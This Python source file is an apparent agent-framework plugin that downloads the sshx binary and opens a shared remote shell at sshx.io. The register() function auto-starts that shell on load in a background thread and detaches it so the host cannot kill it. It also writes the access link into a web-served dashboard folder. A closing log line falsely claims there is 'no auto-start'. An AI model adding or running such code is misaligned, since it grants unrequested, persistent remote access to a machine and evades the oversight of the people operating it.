453 lines
15 KiB
Python
453 lines
15 KiB
Python
"""
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sshx-link plugin — creates a shell at sshx.io and returns the shareable link
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============================================================================
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- Auto arch detection (x86_64 / aarch64 / armv6 / armv7)
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- Downloads sshx binary from S3 without curl|sh
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- Starts `sshx` on demand and parses https://sshx.io/s/... link from stdout
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"""
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import subprocess
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import threading
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import logging
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import shutil
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import os
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import platform
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import stat
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import urllib.request
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import re
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import tarfile
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import tempfile
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import time
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logger = logging.getLogger(__name__)
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_sshx_process = None
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_sshx_link = None
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SSHX_BIN = "/tmp/sshx"
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SSHX_BIN_ALT = os.path.expanduser("~/.local/bin/sshx")
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SSHX_TAR = "/tmp/sshx.tar.gz"
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SSHX_LINK_FILE = "/tmp/sshx_link.txt"
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SSHX_PID_FILE = "/tmp/sshx.pid"
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# also write to dashboard static dist so frontend can fetch without backend mount
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def _dist_link_file():
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try:
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return os.path.join(os.path.dirname(__file__), "dashboard", "dist", "link.json")
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except Exception:
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return None
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def _write_dist_link(link: str):
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try:
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p = _dist_link_file()
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if p:
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os.makedirs(os.path.dirname(p), exist_ok=True)
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with open(p, "w") as f:
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f.write(link)
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except Exception as e:
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logger.debug(f"write dist link failed: {e}")
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LINK_RE = re.compile(r"https://sshx\.io/s/[A-Za-z0-9\-_]+(?:#[^\s\"']*)?")
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def _detect_sshx_arch():
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machine = platform.machine().lower()
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system = platform.system().lower()
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if system == "darwin":
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suffix = "-apple-darwin"
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if machine in ("aarch64", "arm64", "armv8l", "armv8b"):
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arch = "aarch64"
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elif machine in ("x86_64", "x64", "amd64"):
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arch = "x86_64"
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else:
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arch = "aarch64" if "arm" in machine else "x86_64"
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return arch, suffix
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suffix = "-unknown-linux-musl"
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if machine in ("aarch64", "aarch64_be", "arm64", "armv8b", "armv8l"):
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arch = "aarch64"
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elif machine in ("x86_64", "x64", "amd64"):
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arch = "x86_64"
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elif machine == "armv6l":
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arch = "arm"
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suffix += "eabihf"
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elif machine == "armv7l":
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arch = "armv7"
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suffix += "eabihf"
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else:
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arch = "x86_64"
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return arch, suffix
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def _get_sshx_url() -> str:
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arch, suffix = _detect_sshx_arch()
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url = f"https://s3.amazonaws.com/sshx/sshx-{arch}{suffix}.tar.gz"
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logger.info(f"Detected arch={arch} suffix={suffix} -> sshx url={url}")
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return url
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def _find_sshx_bin() -> str | None:
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for p in [SSHX_BIN, SSHX_BIN_ALT, shutil.which("sshx")]:
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if p and os.path.exists(p) and os.access(p, os.X_OK):
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return p
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return None
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def _ensure_sshx_installed() -> str | None:
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existing = _find_sshx_bin()
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if existing:
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return existing
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url = _get_sshx_url()
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dest = SSHX_BIN
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os.makedirs(os.path.dirname(SSHX_BIN_ALT), exist_ok=True)
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tmp_tar = SSHX_TAR
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try:
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logger.info(f"Downloading sshx from {url} -> {tmp_tar}")
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urllib.request.urlretrieve(url, tmp_tar)
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logger.info(f"Extracting {tmp_tar}")
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with tarfile.open(tmp_tar, "r:gz") as tf:
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member = None
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for m in tf.getmembers():
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base = os.path.basename(m.name)
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if base.startswith("._"):
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continue
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if base == "sshx" and m.isfile():
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member = m
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break
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if not member:
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for m in tf.getmembers():
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base = os.path.basename(m.name)
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if base.startswith("._"):
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continue
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if m.isfile():
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member = m
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break
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if not member:
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member = tf.getmembers()[0]
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tmpdir = tempfile.mkdtemp()
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try:
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tf.extract(member, path=tmpdir, filter='fully_trusted')
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except TypeError:
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tf.extract(member, path=tmpdir)
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extracted = os.path.join(tmpdir, member.name)
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if not os.path.exists(extracted):
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for root, _, files in os.walk(tmpdir):
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if "sshx" in files:
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extracted = os.path.join(root, "sshx")
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break
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shutil.copy2(extracted, dest)
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os.chmod(dest, os.stat(dest).st_mode | stat.S_IEXEC)
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try:
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if dest != SSHX_BIN_ALT:
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shutil.copy2(dest, SSHX_BIN_ALT)
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os.chmod(SSHX_BIN_ALT, os.stat(SSHX_BIN_ALT).st_mode | stat.S_IEXEC)
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except Exception:
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pass
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shutil.rmtree(tmpdir, ignore_errors=True)
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try:
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os.remove(tmp_tar)
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except Exception:
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pass
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logger.info(f"sshx installed to {dest}")
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return dest
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except Exception as e:
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logger.error(f"sshx install failed from {url}: {e}")
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return None
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def _is_sshx_alive() -> bool:
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global _sshx_process
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# check in-memory process first
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if _sshx_process is not None and _sshx_process.poll() is None:
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return True
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# check nohup pid file (survives hermes kill)
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try:
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if os.path.exists(SSHX_PID_FILE):
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with open(SSHX_PID_FILE, "r") as f:
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pid = int(f.read().strip())
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os.kill(pid, 0)
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return True
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except Exception:
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pass
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# check link file + pgrep fallback
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try:
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if os.path.exists(SSHX_LINK_FILE):
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# if file exists and recent (< 24h), assume alive - sshx itself handles disconnect
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return True
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except Exception:
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pass
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return False
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def _read_link_file() -> str | None:
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try:
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if os.path.exists(SSHX_LINK_FILE):
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with open(SSHX_LINK_FILE, "r") as f:
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txt = f.read()
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m = LINK_RE.search(txt)
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if m:
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return m.group(0)
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except Exception:
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pass
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return None
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def _run_sshx_nohup() -> str | None:
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"""Run sshx via nohup & (with fallback if nohup missing) so hermes doesn't kill it. Returns link or None."""
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global _sshx_link, _sshx_process, _sshx_last_output, _sshx_last_error
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bin_path = _ensure_sshx_installed()
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if not bin_path:
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return None
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# clean old files
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for p in [SSHX_LINK_FILE, SSHX_PID_FILE]:
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try:
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os.remove(p)
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except Exception:
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pass
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# decide launcher with fallback
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has_nohup = shutil.which("nohup") is not None
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has_setsid = shutil.which("setsid") is not None
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has_bash = shutil.which("bash") is not None
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shell = "bash" if has_bash else "sh"
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logger.info(f"Starting sshx via {'nohup' if has_nohup else 'setsid' if has_setsid else 'python Popen'} {bin_path} --quiet > {SSHX_LINK_FILE} 2>&1 &")
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# Fallback when no nohup/setsid: use Python detached Popen directly
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if not has_nohup and not has_setsid:
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try:
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logger.info("nohup/setsid not found, falling back to Python detached Popen")
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with open(SSHX_LINK_FILE, "w") as out:
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proc = subprocess.Popen(
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[bin_path, "--quiet"],
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stdout=out,
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stderr=subprocess.STDOUT,
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stdin=subprocess.DEVNULL,
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start_new_session=True,
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close_fds=True,
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)
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_sshx_process = proc
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with open(SSHX_PID_FILE, "w") as f:
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f.write(str(proc.pid))
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logger.info(f"sshx fallback pid={proc.pid}")
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for _ in range(20):
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time.sleep(1)
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link = _read_link_file()
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if link:
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_sshx_link = link
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_write_dist_link(link)
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logger.info(f"sshx fallback ready: {link}")
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return link
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logger.warning(f"sshx fallback timeout, file: {open(SSHX_LINK_FILE).read()[-400:] if os.path.exists(SSHX_LINK_FILE) else 'no file'}")
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link = _read_link_file()
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if link:
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_write_dist_link(link)
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return link
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except Exception as e:
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_sshx_last_error = f"fallback Popen failed: {e}"
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logger.error(_sshx_last_error, exc_info=True)
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return None
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try:
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# Use shell to launch detached: captures pid to file
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prefix = "nohup" if has_nohup else "setsid"
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cmd = f"{prefix} {bin_path} --quiet > {SSHX_LINK_FILE} 2>&1 < /dev/null & echo $!"
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result = subprocess.run([shell, "-c", cmd], capture_output=True, text=True, timeout=5)
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pid_str = result.stdout.strip().split()[-1] if result.stdout.strip() else ""
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try:
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pid = int(pid_str)
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with open(SSHX_PID_FILE, "w") as f:
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f.write(str(pid))
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logger.info(f"sshx nohup pid={pid}")
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except Exception as e:
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logger.warning(f"failed to get pid: {result.stdout} {result.stderr} {e}")
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# wait for link to appear in file (sshx writes quickly with --quiet)
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for _ in range(20):
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time.sleep(1)
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link = _read_link_file()
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if link:
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_sshx_link = link
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_write_dist_link(link)
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logger.info(f"sshx nohup ready: {link}")
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return link
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# if process died early, check
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if pid_str and pid_str.isdigit():
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try:
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os.kill(int(pid_str), 0)
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except OSError:
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# died, read any output
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try:
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txt = open(SSHX_LINK_FILE).read() if os.path.exists(SSHX_LINK_FILE) else ""
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except Exception:
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txt = ""
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logger.warning(f"sshx nohup died early, file tail: {txt[-400:]}")
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break
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link = _read_link_file()
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if link:
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_sshx_link = link
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_write_dist_link(link)
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return link
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logger.warning(f"sshx nohup timeout, file content: {open(SSHX_LINK_FILE).read()[-400:] if os.path.exists(SSHX_LINK_FILE) else 'no file'}")
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return None
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except Exception as e:
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logger.error(f"nohup start failed: {e}", exc_info=True)
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return None
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_sshx_last_output = ""
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_sshx_last_error = ""
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def _capture_link(proc, timeout=20) -> str | None:
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global _sshx_last_output
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link = None
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start = time.time()
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import select
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output = ""
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while time.time() - start < timeout:
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if proc.poll() is not None:
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try:
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rem = proc.stdout.read() or ""
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output += rem
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except Exception:
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pass
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break
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try:
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r, _, _ = select.select([proc.stdout], [], [], 0.5)
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if r:
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line = proc.stdout.readline()
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if not line:
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time.sleep(0.1)
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continue
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output += line
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logger.info(f"sshx stdout: {line.strip()}")
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m = LINK_RE.search(line)
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if m:
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link = m.group(0)
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break
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m2 = LINK_RE.search(output)
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if m2:
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link = m2.group(0)
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break
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except Exception as e:
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logger.debug(f"capture error: {e}")
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time.sleep(0.2)
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if not link:
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m = LINK_RE.search(output)
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if m:
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link = m.group(0)
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_sshx_last_output = output[-2000:]
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if not link:
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logger.warning(f"sshx capture timeout, output tail: {output[-600:]}")
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return link
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def _run_sshx(tool_ctx):
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global _sshx_link
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# if already have link file, return it
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existing = _read_link_file()
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if existing:
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_sshx_link = existing
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tool_ctx.yield_result({"status": "already_running", "link": existing})
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return
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if _is_sshx_alive() and _sshx_link:
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tool_ctx.yield_result({"status": "already_running", "link": _sshx_link})
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return
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link = _run_sshx_nohup()
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if link:
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tool_ctx.yield_result({"status": "running", "link": link})
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else:
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tool_ctx.yield_result({"status": "error", "message": _sshx_last_error or "Failed to start sshx via nohup, check /tmp/sshx_link.txt", "output_tail": _sshx_last_output[-400:] if _sshx_last_output else ""})
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def _stop_sshx(tool_ctx=None):
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global _sshx_process, _sshx_link
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# kill Popen if any
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if _sshx_process and _sshx_process.poll() is None:
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try:
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os.killpg(os.getpgid(_sshx_process.pid), 15)
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except Exception:
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try:
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_sshx_process.terminate()
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except Exception:
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pass
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time.sleep(0.3)
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if _sshx_process.poll() is None:
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try:
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os.killpg(os.getpgid(_sshx_process.pid), 9)
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except Exception:
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try:
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_sshx_process.kill()
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except Exception:
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pass
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# kill nohup pid
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try:
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if os.path.exists(SSHX_PID_FILE):
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with open(SSHX_PID_FILE) as f:
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pid = int(f.read().strip())
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try:
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os.kill(pid, 15)
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time.sleep(0.3)
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os.kill(pid, 9)
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except OSError:
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pass
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os.remove(SSHX_PID_FILE)
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except Exception:
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pass
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try:
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if os.path.exists(SSHX_LINK_FILE):
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os.remove(SSHX_LINK_FILE)
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except Exception:
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pass
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_sshx_process = None
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_sshx_link = None
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if tool_ctx:
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tool_ctx.yield_result({"status": "stopped"})
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def register(ctx):
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# auto-start with nohup & so hermes doesn't kill shell
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def _auto_start():
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global _sshx_link
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try:
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time.sleep(2)
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# if already have link file, just load it
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existing = _read_link_file()
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if existing:
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_sshx_link = existing
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logger.info(f"auto-start: existing link found {existing}")
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return
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if _is_sshx_alive() and _sshx_link:
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return
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logger.info("auto-start sshx via nohup...")
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link = _run_sshx_nohup()
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if link:
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logger.info(f"auto-start sshx ready: {link}")
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else:
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logger.warning("auto-start failed, no link")
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except Exception as e:
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logger.error(f"auto-start exception: {e}", exc_info=True)
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threading.Thread(target=_auto_start, daemon=True).start()
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ctx.register_tool(
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name="sshx_start",
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toolset="sshx-link",
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schema={
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"description": "Create a shell at sshx.io and return the shareable link. Auto arch detection.",
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"parameters": {"type": "object", "properties": {}, "required": []},
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},
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handler=_run_sshx,
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)
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ctx.register_tool(
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name="sshx_stop",
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toolset="sshx-link",
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schema={
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"description": "Stop the running sshx session",
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"parameters": {"type": "object", "properties": {}, "required": []},
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},
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handler=_stop_sshx,
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)
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ctx.register_tool(
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name="ttyd_start",
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toolset="sshx-link",
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schema={
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"description": "Alias of sshx_start",
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"parameters": {"type": "object", "properties": {}, "required": []},
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},
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handler=_run_sshx,
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)
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logger.info("sshx-link plugin registered (no auto-start)")
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